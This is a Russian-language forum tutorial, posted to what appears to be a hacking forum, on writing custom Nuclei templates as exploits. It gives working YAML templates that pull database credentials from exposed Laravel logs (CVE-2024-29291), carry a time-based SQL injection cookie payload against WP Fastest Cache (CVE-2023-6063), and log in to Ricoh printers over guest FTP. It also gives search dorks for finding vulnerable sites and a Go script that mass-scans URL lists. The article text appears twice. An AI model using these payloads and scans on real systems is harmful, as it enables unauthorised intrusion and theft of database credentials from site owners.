Автор: miserylord
Эксклюзивно для форума: xss.pro
Вечер в сети, miserylord на связи!
В этой статье речь пойдет о сканере уязвимостей Nuclei. Разберем, чем этот сканер отличается от других, а также рассмотрим, как создавать собственные шаблоны для расширения его возможностей.
Что представляет собой стандартный сканер? Обычно это заранее загруженный пакет скриптов, который проверяет ресурсы на определенные уязвимости. Пользователь, как правило, не может вмешаться в работу скриптов или расширить существующий пул проверок. Но Nuclei — совсем другое дело.
Nuclei — это современный сканер уязвимостей с открытым исходным кодом, написанный на Golang. Он создавался с акцентом на гибкость и расширяемость. Его ключевая особенность — использование шаблонов (templates), которые описывают конкретные уязвимости или методы обнаружения. Шаблоны в Nuclei — это файлы на языке YAML, где можно детально задавать параметры проверки, такие как HTTP-запросы, заголовки, параметры URL, условия для успешного обнаружения уязвимости и т. д. Такой подход позволяет легко настраивать сканер под конкретные нужды, добавлять кастомные проверки и создавать новые сценарии тестирования.
Архитектура Nuclei устроена так, что добавление новых шаблонов не требует изменений в коде самого сканера — достаточно создать или скачать нужный YAML-шаблон, и Nuclei сможет его использовать автоматически.
С помощью Nuclei можно обнаруживать различные типы уязвимостей, помимо стандартных XSS/SQL, включая попытки выявить Race Condition, а также использовать Fuzzing с методами, аналогичными Burp Suite (Cluster Bomb, Pitchfork, Battering Ram). Для отладки шаблонов можно использовать Burp Suite в качестве прокси.
Скачать Nuclei можно из официального репозитория на GitHub: GitHub - projectdiscovery/nuclei: Nuclei is a fast, customizable vulnerability scanner powered by the global security community.... Процесс установки описан в Installing Nuclei - ProjectDiscovery Documentation. Рекомендуется установка через Git; обратите внимание, для работы программы требуется актуальная версия Golang на компьютере.
Где брать шаблоны? В соседнем репозитории на GitHub: GitHub - projectdiscovery/nuclei-templates: Community curated list of templates for the nuclei engine....
Обратите внимание, шаблоны должны иметь расширение YAML (формат YML не подходит). Для начала работы введите команду nuclei -u "http://testphp.vulnweb.com" -t nuclei-templates/network/, указывая папку с шаблонами — nuclei рекурсивно найдет все шаблоны в указанной папке и её подкаталогах. Список целей можно загрузить из текстового файла: nuclei -targets urls.txt. Подробности можно узнать с помощью nuclei -help.
Переходим к практике. Подробной документации по процессу разработки шаблонов я не обнаружил; в основном доступны готовые шаблоны и курс от специалиста из Индии, найденный в социальных сетях. По сути, создание шаблона — это разработка эксплойта под конкретные уязвимости из базы CVE. Открываем базу данных CVE и начинаем поиск уязвимостей.
Официальная база CVE - NVD - General, мне комфортно работать с https://www.cvedetails.com/. Если это ваши первые попытки в написании эксплоитов, лучше всего будет воспользоваться https://www.exploit-db.com/, поскольку описания уязвимостей там максимально подробные, зачастую с готовым эксплоитом.
Но начнем с чего-то попроще, а именно найдем раскрытия информации. Узнав версии служб, работающих на сервере, откроется возможность найти уязвимости под них. Обнаружение происходит следующим образом: в ответ на запрос сервер присылает ответ, и если в нем содержатся специфические заголовки, происходит раскрытие информации. Возьмем к примеру Django — это фреймворк для веб-разработки на языке Python. Если на сервере запущен Django, он может (но вовсе не обязан) вернуть заголовок X-Powered-By: Django. Используя Shodan, найдем ресурсы, которые действительно отдают такие заголовки. Обратим внимание на формат, чтобы парсить результаты корректно. Этого достаточно, переходим к написанию шаблона.
В блоке id указывается информация, которая отобразится в консоли при успешном срабатывании шаблона. Блок info ниже служит для пользователя шаблона, в нем указывается название, имя автора, уровень серьезности, краткое описание того, что делает шаблон, а также теги для классификации (в Nuclei есть возможность запустить пачку шаблонов, используя метки). Секция requests описывает HTTP-запрос, который Nuclei будет отправлять для выполнения проверки. Здесь используется метод GET, чтобы запросить страницу с базового URL-адреса. "{{BaseURL}}" — переменная, которая будет заменена на базовый URL при запуске сканирования. В Nuclei существует пул зарезервированных переменных, это одна из них. BaseURL — это URL, который передается в CLI при запуске. matchers-condition: "and" — указывает, что для выполнения шаблона должны быть выполнены все условия в секции matchers (логическое И). Секция matchers определяет условия для проверки ответа. В данном шаблоне два условия: это поиск по регулярному выражению в заголовке (указываем с помощью part), и regex Django[/-][\w.]+. Регулярное выражение составлено на основе анализа Shodan; оно должно захватывать как Django/1.2.1 SVN-13336, так и Django-Ruby1.1, а также просто Django/1.2.1. Регулярное выражение ищет слово "Django", за которым следует символ "/" или "-", и за ним следует версия Django. \w — это символ любого слова, а . — символ точки. Вторым условием выступает статус, он должен быть 200 OK. Это условие позволяет убедиться, что ресурс доступен, и только тогда проверять его заголовки. Секция extractors используется для извлечения конкретной информации из ответа, если шаблон находит совпадение. Использует регулярное выражение для извлечения информации. Указываем, что данные будут извлекаться из заголовков HTTP-ответа.
Проверяем и видим, что шаблон работает.
Пойдем дальше и возьмем CVE-2024-29291. О чем эта CVE? В Laravel Framework 11 (11-й версии популярного PHP-фреймворка для веб-разработки) возможна утечка учетных данных. Вредоносный субъект может получить доступ к файлу логов приложения — laravel.log, где хранится информация о подключении к базе данных, включая имя пользователя и пароль. Чтобы воспроизвести уязвимость, достаточно открыть файл логов и выполнить поиск по строке, содержащей конструкцию PDO для подключения к MySQL. Это может привести к компрометации базы данных приложения.
Подробнее можно почитать на Exploit DB — Laravel Framework 11 - Credential Leakage - PHP webapps Exploit.
Стоит сразу отметить, что не каждый laravel.log раскроет эти данные, а также не каждый лог будет находиться по корневому маршруту URL /storage/logs/laravel.log. Тем не менее, мы можем написать шаблон, который сработает в ряде случаев.
Вообще, такие сайты можно найти с помощью дорков inurl:"/storage/logs/laravel.log" или inurl /storage/logs/laravel.log. Первая дорка найдет именно сами файлы laravel.log, а вторая преимущественно — директории Index of с файлами laravel.log. Подробнее о дорках можно почитать в этой статье.
Теперь перейдем к написанию шаблона:
К ссылке в параметре path добавляем путь, по которому могут находиться логи — /storage/logs/laravel.log. Меняем параметр part на body, так как нас интересует поиск данных в теле ответа. Для определения наличия уязвимости я буду использовать регулярное выражение с точным вхождением фразы PDO->__construct; если она есть в логах, nuclei определит наличие уязвимости как позитивное (даже если блок extractors не сработает). Регулярное выражение для extractors извлечет всю строку подключения — хост, логин, пароль (часть этих данных будет скрыта, поэтому потребуется дополнительная работа после обнаружения). В нем используются три группы захвата для извлечения данных в ''.
В целом, процесс работы следующий: находим интересующую уязвимость, внимательно изучаем принцип её работы, разбиваем на части, анализируем другие шаблоны, в которых встречается подобная уязвимость, и редактируем шаблон, подставляя свои значения.
Возьмем, к примеру, CVE-2023-6063. Это SQL-уязвимость в плагине WP Fastest Cache для WordPress. Подробнее о SQL-инъекциях можно почитать в этой статье, а о взломе WordPress я расскажу в ближайшее время. На Exploit DB под эту CVE уже написан эксплоит на PHP; его можно переписать на Nuclei: WP Fastest Cache 1.2.2 - Unauthenticated SQL Injection - PHP webapps Exploit.
Нам необходимо передать в заголовках необходимые куки, содержащие SQL-инъекцию, а также добавить проверку на задержку в 5 секунд для подтверждения SQL-инъекции. Используем DSL-секцию для проверки времени ответа, чтобы удостовериться, что оно превышает 5 секунд, что указывает на успешное выполнение SQL-задержки.
Фреймворк умеет работать не только с HTTP и может использоваться не только для веб-приложений. Возьмем, к примеру, Ricoh Printer - Directory and File Exposure - Hardware Remote Exploit. Эксплоит (EDB-ID 51755) связан с уязвимостью в принтерах Ricoh, позволяющей неавторизованный доступ к системным файлам через FTP. Злоумышленники могут подключиться к принтеру как гости и получать доступ к таким файлам, как журналы и статистика. Уязвимость затрагивает все версии принтеров Ricoh. Перепишем код на Nuclei.
Используем сырой запрос FTP, где USER и PASS — логин и пароль. Условия, которые должны выполняться для успешного срабатывания: type: word: — проверяем наличие определенных слов в ответе (например, "230 Guest login ok"); type: status: — проверка статуса успешного входа (код 230); extractors: — используем регулярное выражение для извлечения списка файлов из ответа.
На просторах GitHub можно найти расширенный список конфигурационных файлов. Добавив их в одну директорию, получится удобно и относительно успешно запускать массовые сканирования, собрав пакет эксплоитов под себя. Nuclei вроде как ограничивает количество запущенных горутин сканирования, что можно обойти скриптом:
Подробнее о горутинах можно прочитать в этой статье.
Единственный момент — никто не гарантирует корректную работу файлов, и в идеале необходимо перепроверять работу каждого из них.
В целом, это очень интересный и необычный фреймворк для написания эксплоитов. На самом деле, писать их на фреймворке или без него — это вопрос.
Трям! Пока!
Эксклюзивно для форума: xss.pro
Вечер в сети, miserylord на связи!
В этой статье речь пойдет о сканере уязвимостей Nuclei. Разберем, чем этот сканер отличается от других, а также рассмотрим, как создавать собственные шаблоны для расширения его возможностей.
Особенности Nuclei
Что представляет собой стандартный сканер? Обычно это заранее загруженный пакет скриптов, который проверяет ресурсы на определенные уязвимости. Пользователь, как правило, не может вмешаться в работу скриптов или расширить существующий пул проверок. Но Nuclei — совсем другое дело.
Nuclei — это современный сканер уязвимостей с открытым исходным кодом, написанный на Golang. Он создавался с акцентом на гибкость и расширяемость. Его ключевая особенность — использование шаблонов (templates), которые описывают конкретные уязвимости или методы обнаружения. Шаблоны в Nuclei — это файлы на языке YAML, где можно детально задавать параметры проверки, такие как HTTP-запросы, заголовки, параметры URL, условия для успешного обнаружения уязвимости и т. д. Такой подход позволяет легко настраивать сканер под конкретные нужды, добавлять кастомные проверки и создавать новые сценарии тестирования.
Архитектура Nuclei устроена так, что добавление новых шаблонов не требует изменений в коде самого сканера — достаточно создать или скачать нужный YAML-шаблон, и Nuclei сможет его использовать автоматически.
С помощью Nuclei можно обнаруживать различные типы уязвимостей, помимо стандартных XSS/SQL, включая попытки выявить Race Condition, а также использовать Fuzzing с методами, аналогичными Burp Suite (Cluster Bomb, Pitchfork, Battering Ram). Для отладки шаблонов можно использовать Burp Suite в качестве прокси.
Установка
Скачать Nuclei можно из официального репозитория на GitHub: GitHub - projectdiscovery/nuclei: Nuclei is a fast, customizable vulnerability scanner powered by the global security community.... Процесс установки описан в Installing Nuclei - ProjectDiscovery Documentation. Рекомендуется установка через Git; обратите внимание, для работы программы требуется актуальная версия Golang на компьютере.
Где брать шаблоны? В соседнем репозитории на GitHub: GitHub - projectdiscovery/nuclei-templates: Community curated list of templates for the nuclei engine....
Обратите внимание, шаблоны должны иметь расширение YAML (формат YML не подходит). Для начала работы введите команду nuclei -u "http://testphp.vulnweb.com" -t nuclei-templates/network/, указывая папку с шаблонами — nuclei рекурсивно найдет все шаблоны в указанной папке и её подкаталогах. Список целей можно загрузить из текстового файла: nuclei -targets urls.txt. Подробности можно узнать с помощью nuclei -help.
Создание собственных шаблонов
Переходим к практике. Подробной документации по процессу разработки шаблонов я не обнаружил; в основном доступны готовые шаблоны и курс от специалиста из Индии, найденный в социальных сетях. По сути, создание шаблона — это разработка эксплойта под конкретные уязвимости из базы CVE. Открываем базу данных CVE и начинаем поиск уязвимостей.
Официальная база CVE - NVD - General, мне комфортно работать с https://www.cvedetails.com/. Если это ваши первые попытки в написании эксплоитов, лучше всего будет воспользоваться https://www.exploit-db.com/, поскольку описания уязвимостей там максимально подробные, зачастую с готовым эксплоитом.
Но начнем с чего-то попроще, а именно найдем раскрытия информации. Узнав версии служб, работающих на сервере, откроется возможность найти уязвимости под них. Обнаружение происходит следующим образом: в ответ на запрос сервер присылает ответ, и если в нем содержатся специфические заголовки, происходит раскрытие информации. Возьмем к примеру Django — это фреймворк для веб-разработки на языке Python. Если на сервере запущен Django, он может (но вовсе не обязан) вернуть заголовок X-Powered-By: Django. Используя Shodan, найдем ресурсы, которые действительно отдают такие заголовки. Обратим внимание на формат, чтобы парсить результаты корректно. Этого достаточно, переходим к написанию шаблона.
YAML:
id: django-use-version
info:
name: The use of Django detected
author: a
severity: info
description: The server is using Django
tags: tech, django
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- 'Django[/-][\w.]+'
- type: status
status:
- 200
extractors:
- type: regex
part: header
regex:
- 'Django[/-][\w.]+'
В блоке id указывается информация, которая отобразится в консоли при успешном срабатывании шаблона. Блок info ниже служит для пользователя шаблона, в нем указывается название, имя автора, уровень серьезности, краткое описание того, что делает шаблон, а также теги для классификации (в Nuclei есть возможность запустить пачку шаблонов, используя метки). Секция requests описывает HTTP-запрос, который Nuclei будет отправлять для выполнения проверки. Здесь используется метод GET, чтобы запросить страницу с базового URL-адреса. "{{BaseURL}}" — переменная, которая будет заменена на базовый URL при запуске сканирования. В Nuclei существует пул зарезервированных переменных, это одна из них. BaseURL — это URL, который передается в CLI при запуске. matchers-condition: "and" — указывает, что для выполнения шаблона должны быть выполнены все условия в секции matchers (логическое И). Секция matchers определяет условия для проверки ответа. В данном шаблоне два условия: это поиск по регулярному выражению в заголовке (указываем с помощью part), и regex Django[/-][\w.]+. Регулярное выражение составлено на основе анализа Shodan; оно должно захватывать как Django/1.2.1 SVN-13336, так и Django-Ruby1.1, а также просто Django/1.2.1. Регулярное выражение ищет слово "Django", за которым следует символ "/" или "-", и за ним следует версия Django. \w — это символ любого слова, а . — символ точки. Вторым условием выступает статус, он должен быть 200 OK. Это условие позволяет убедиться, что ресурс доступен, и только тогда проверять его заголовки. Секция extractors используется для извлечения конкретной информации из ответа, если шаблон находит совпадение. Использует регулярное выражение для извлечения информации. Указываем, что данные будут извлекаться из заголовков HTTP-ответа.
Проверяем и видим, что шаблон работает.
Пойдем дальше и возьмем CVE-2024-29291. О чем эта CVE? В Laravel Framework 11 (11-й версии популярного PHP-фреймворка для веб-разработки) возможна утечка учетных данных. Вредоносный субъект может получить доступ к файлу логов приложения — laravel.log, где хранится информация о подключении к базе данных, включая имя пользователя и пароль. Чтобы воспроизвести уязвимость, достаточно открыть файл логов и выполнить поиск по строке, содержащей конструкцию PDO для подключения к MySQL. Это может привести к компрометации базы данных приложения.
Подробнее можно почитать на Exploit DB — Laravel Framework 11 - Credential Leakage - PHP webapps Exploit.
Стоит сразу отметить, что не каждый laravel.log раскроет эти данные, а также не каждый лог будет находиться по корневому маршруту URL /storage/logs/laravel.log. Тем не менее, мы можем написать шаблон, который сработает в ряде случаев.
Вообще, такие сайты можно найти с помощью дорков inurl:"/storage/logs/laravel.log" или inurl /storage/logs/laravel.log. Первая дорка найдет именно сами файлы laravel.log, а вторая преимущественно — директории Index of с файлами laravel.log. Подробнее о дорках можно почитать в этой статье.
Теперь перейдем к написанию шаблона:
YAML:
id: cve-2024-29291
info:
name: Laravel Framework 11 - Credential Leakage
author: a
severity: info
description: CVE-2024-29291
tags: php, laravel, mysql
requests:
- method: GET
path:
- "{{BaseURL}}/storage/logs/laravel.log"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'PDO->__construct'
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "PDO->__construct\\('([^']+)',\\s*'([^']+)',\\s*'([^']+)'"
К ссылке в параметре path добавляем путь, по которому могут находиться логи — /storage/logs/laravel.log. Меняем параметр part на body, так как нас интересует поиск данных в теле ответа. Для определения наличия уязвимости я буду использовать регулярное выражение с точным вхождением фразы PDO->__construct; если она есть в логах, nuclei определит наличие уязвимости как позитивное (даже если блок extractors не сработает). Регулярное выражение для extractors извлечет всю строку подключения — хост, логин, пароль (часть этих данных будет скрыта, поэтому потребуется дополнительная работа после обнаружения). В нем используются три группы захвата для извлечения данных в ''.
В целом, процесс работы следующий: находим интересующую уязвимость, внимательно изучаем принцип её работы, разбиваем на части, анализируем другие шаблоны, в которых встречается подобная уязвимость, и редактируем шаблон, подставляя свои значения.
Возьмем, к примеру, CVE-2023-6063. Это SQL-уязвимость в плагине WP Fastest Cache для WordPress. Подробнее о SQL-инъекциях можно почитать в этой статье, а о взломе WordPress я расскажу в ближайшее время. На Exploit DB под эту CVE уже написан эксплоит на PHP; его можно переписать на Nuclei: WP Fastest Cache 1.2.2 - Unauthenticated SQL Injection - PHP webapps Exploit.
Нам необходимо передать в заголовках необходимые куки, содержащие SQL-инъекцию, а также добавить проверку на задержку в 5 секунд для подтверждения SQL-инъекции. Используем DSL-секцию для проверки времени ответа, чтобы удостовериться, что оно превышает 5 секунд, что указывает на успешное выполнение SQL-задержки.
YAML:
id: cve-2023-6063
info:
name: Unauthenticated SQL Injection in WP Fastest Cache 1.2.2
author: a
severity: critical
description: cve-2023-6063
tags: wordpress, sql-injection, wp-fastest-cache
requests:
- method: GET
path:
- "{{BaseURL}}"
headers:
Cookie: "wordpress_logged_in_1=%22 AND (SELECT 1 FROM (SELECT(SLEEP(5)))A) AND %221%22=%221"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: dsl
dsl:
- "response.time > 5000"
Фреймворк умеет работать не только с HTTP и может использоваться не только для веб-приложений. Возьмем, к примеру, Ricoh Printer - Directory and File Exposure - Hardware Remote Exploit. Эксплоит (EDB-ID 51755) связан с уязвимостью в принтерах Ricoh, позволяющей неавторизованный доступ к системным файлам через FTP. Злоумышленники могут подключиться к принтеру как гости и получать доступ к таким файлам, как журналы и статистика. Уязвимость затрагивает все версии принтеров Ricoh. Перепишем код на Nuclei.
YAML:
id: ricoh-printer-ftp-guest-access
info:
name: Ricoh Printer FTP Guest Access
author: a
severity: low
description: Checks for anonymous guest FTP access on Ricoh printers.
tags: ricoh,ftp,guest
requests:
- raw:
- |
USER guest
PASS guest
protocol: ftp
matchers-condition: and
matchers:
- type: word
words:
- "230 Guest login ok"
- type: status
status:
- 230
extractors:
- type: regex
part: response_body
regex:
- "^(\\d+).*\r\n"
Используем сырой запрос FTP, где USER и PASS — логин и пароль. Условия, которые должны выполняться для успешного срабатывания: type: word: — проверяем наличие определенных слов в ответе (например, "230 Guest login ok"); type: status: — проверка статуса успешного входа (код 230); extractors: — используем регулярное выражение для извлечения списка файлов из ответа.
Итоги
На просторах GitHub можно найти расширенный список конфигурационных файлов. Добавив их в одну директорию, получится удобно и относительно успешно запускать массовые сканирования, собрав пакет эксплоитов под себя. Nuclei вроде как ограничивает количество запущенных горутин сканирования, что можно обойти скриптом:
C-подобный:
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
"strings"
"sync"
)
// 1
const (
urlsFilePath = "URLs.txt"
logFilePath = "scan.txt"
maxGoroutines = 30
)
// 2
func runNuclei(url string, wg *sync.WaitGroup, mutex *sync.Mutex, sem chan struct{}) {
defer wg.Done()
// 3
defer func() { <-sem }()
// 4
cmd := exec.Command("nuclei", "-u", url, "-t", "mytp/")
// 5
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Ошибка при выполнении nuclei для %s: %v\n", url, err)
}
// 6
mutex.Lock()
defer mutex.Unlock()
file, err := os.OpenFile(logFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Ошибка при открытии файла лога: %v\n", err)
return
}
defer file.Close()
_, err = file.WriteString(fmt.Sprintf("Результат для %s:\n%s\n", url, output))
if err != nil {
fmt.Printf("Ошибка при записи в файл лога: %v\n", err)
}
}
// 7
func main() {
file, err := os.Open(urlsFilePath)
if err != nil {
fmt.Printf("Ошибка при открытии файла с URL-адресами: %v\n", err)
return
}
defer file.Close()
// 8
scanner := bufio.NewScanner(file)
var wg sync.WaitGroup
var mutex sync.Mutex
// 9
sem := make(chan struct{}, maxGoroutines)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url == "" {
continue
}
wg.Add(1)
sem <- struct{}{} // 10
go runNuclei(url, &wg, &mutex, sem)
}
if err := scanner.Err(); err != nil {
fmt.Printf("Ошибка при чтении файла с URL-адресами: %v\n", err)
}
wg.Wait()
fmt.Println("Сканирование завершено, результаты записаны в файл.")
}
- Путь к файлу с URL-адресами и лог-файлу, а также максимальному количеству горутин.
- Функция для запуска Nuclei на заданном URL и записи результатов в лог.
- Освобождаем слот в семафоре по окончании работы.
- Формируем команду для Nuclei.
- Выполняем команду и получаем вывод.
- Пишем вывод в лог-файл, используя мьютекс для безопасного доступа.
- Главная функция программы.
- Сканируем файл и запускаем горутины для каждого URL.
- Канал для ограничения количества горутин.
- Блокируем слот в семафоре.
Подробнее о горутинах можно прочитать в этой статье.
Единственный момент — никто не гарантирует корректную работу файлов, и в идеале необходимо перепроверять работу каждого из них.
В целом, это очень интересный и необычный фреймворк для написания эксплоитов. На самом деле, писать их на фреймворке или без него — это вопрос.
Трям! Пока!
